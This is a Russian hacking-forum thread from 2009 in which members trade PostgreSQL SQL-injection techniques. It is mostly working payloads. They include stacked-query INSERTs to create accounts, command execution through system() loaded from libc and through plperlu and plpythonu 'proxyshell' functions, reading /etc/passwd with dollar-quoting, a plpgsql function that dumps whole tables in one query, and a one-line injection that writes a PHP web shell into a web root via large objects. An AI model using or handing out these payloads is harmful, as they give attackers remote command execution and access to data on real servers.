Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

20.08.2009, 01:31
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
в его случае права у юзера полные
просто там база данных находится на другом сервере
И вообще в pg sql комбинация ;COPY работает очень редко.
если права usesuper то работает всегда
|
|
|

24.08.2009, 12:13
|
|
Познающий
Регистрация: 11.07.2009
Сообщений: 58
Провел на форуме: 231064
Репутация:
6
|
|
пытаюсь зарегать нового юзера
таблица user колонки login и passwd
пробую так:
id=27;INSERT INTO user(login) VALUES ('значение логина');
выдает ошибку типа поле пароль пустое(ну правильно, логично)
как сделать запрос чтоб сразу заполнить два поля(логин и пароль)?
сам спросил, сам и отвечаю
в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);--
Последний раз редактировалось Insane bboy; 24.08.2009 в 12:52..
|
|
|

01.09.2009, 06:06
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме: 14324684
Репутация:
3908
|
|
Небольшое дополнение в тему создания функций.
1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:
Создаем таблицу stdout с колонками id,system_out.
CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2. Чуть подругому через plperl:
Создаем язык, если он не был создан.
Создаем функцию proxyshell().
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
SELECT+proxyshell('uname -a')::int--
3. И напоследок через plpython:
Создаем функцию proxyshell().
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
SELECT+proxyshell('uname -a')::int--
__________________
Feci, quod potui. Faciant meliora potentes.
|
|
|

07.09.2009, 13:54
|
|
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме: 1212427
Репутация:
187
|
|
У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr (112)||chr(97)||chr(115)||chr(115)||chr(119)||chr( 100) по аналогии с mysql?
А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/
Первоначальный вариант не подошел, т.к. кавычки экранируются.
|
|
|

07.09.2009, 14:02
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
если версия >8.0, то можно так
$$/etc/passwd$$
|
|
|

07.09.2009, 14:13
|
|
Познающий
Регистрация: 23.04.2008
Сообщений: 63
Провел на форуме: 176079
Репутация:
13
|
|
откуда такая инфа можна пример?
|
|
|

07.09.2009, 18:35
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html
http://www.postgresql.org/docs/8.4/static/release-8-0.html
какой тебе пример нужен? скулю показать где это работает?
Последний раз редактировалось Spyder; 07.09.2009 в 18:38..
|
|
|

14.09.2009, 16:44
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Прощай лимит
Если у нас установлен процедурный язык plpgsql
Код:
select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию
Код:
CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE
schema ALIAS FOR $1;
table ALIAS FOR $2;
column1 ALIAS FOR $3;
column2 ALIAS FOR $4;
column3 ALIAS FOR $5;
count int;
i int;
temp text;
int_test text;
input_refc refcursor;
BEGIN
int_test := $qr$Result : $qr$;
OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
FETCH input_refc into count;
CLOSE input_refc;
count := count - 1;
BEGIN
FOR i in 0..count LOOP
OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
FETCH input_refc into temp;
CLOSE input_refc;
int_test := int_test || temp;
END LOOP;
RETURN int_test;
END;
END;
$func$ LANGUAGE plpgsql;
Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')
Последний раз редактировалось Spyder; 14.09.2009 в 16:45..
Причина: очепятка
|
|
|

23.10.2009, 09:11
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
GROUP_CONCAT() в PostgreSQL
Код:
SELECT array_to_string(array(SELECT field FROM table), ', ');
|
|
|

29.12.2009, 12:37
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Вариант заливки шелла
Заливка шелла через большие объекты (large objects).
1. Создаем LO.
Код:
dbname=# SELECT lo_create(-1);
Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
2. Подготовим шелл и пропишем его в БД
Код:
dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
3. Экспортируем код во внешний файл
Код:
dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
Шелл залит. Осталось удалить LO из БД
Код:
dbname=# SELECT lo_unlink(4294967295);
Все это можно заюзать в одной строке
Код:
http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
Для заливки также требуются права usesuper
PS. Ну и случайно нашел. На запрос типа
Код:
http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
вывалится ошибка
Код:
ERROR: table "q" has 5 columns available but 6 columns specified
ERROR: у таблицы "q" колонок доступно: 5, но указано: 6
если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
Код:
ERROR: subquery must return only one column
ERROR: подзапрос должен вернуть только одну колонку
Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|